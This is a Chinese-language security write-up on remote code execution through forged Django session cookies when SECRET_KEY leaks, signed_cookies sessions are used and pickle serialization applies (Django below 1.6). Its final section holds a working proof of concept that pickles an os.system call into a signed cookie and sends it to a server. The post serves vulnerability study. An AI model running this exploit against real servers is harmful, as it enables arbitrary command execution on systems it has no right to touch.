##SECRET_KEY作用
SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景: 1,json object的签名 2,加密函数,如密码重置,表单,评论,csrf的key,session数据
这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行
##代码执行
###settings的session设置
django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:
<pre>
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
</pre>
###django 1.6以下
在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。
###session处理流程
可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie数据。见代码
<pre>
class SessionMiddleware(object):
    def process_request(self, request):
        engine = import_module(settings.SESSION_ENGINE)
        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
</pre>
process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:
<pre>
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """Reverse of dumps(), raises BadSignature if signature fails"""
    base64d = smart_str(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
    decompress = False
    if base64d[0] == '.':
    # It's compressed; uncompress it first
        base64d = base64d[1:]
        decompress = True
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)
</pre>
###构造POC
<pre>
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):
    def __reduce__(self):
        return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib
url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()
</pre>
通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。
利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。
                       
                       
        
          
暂无评论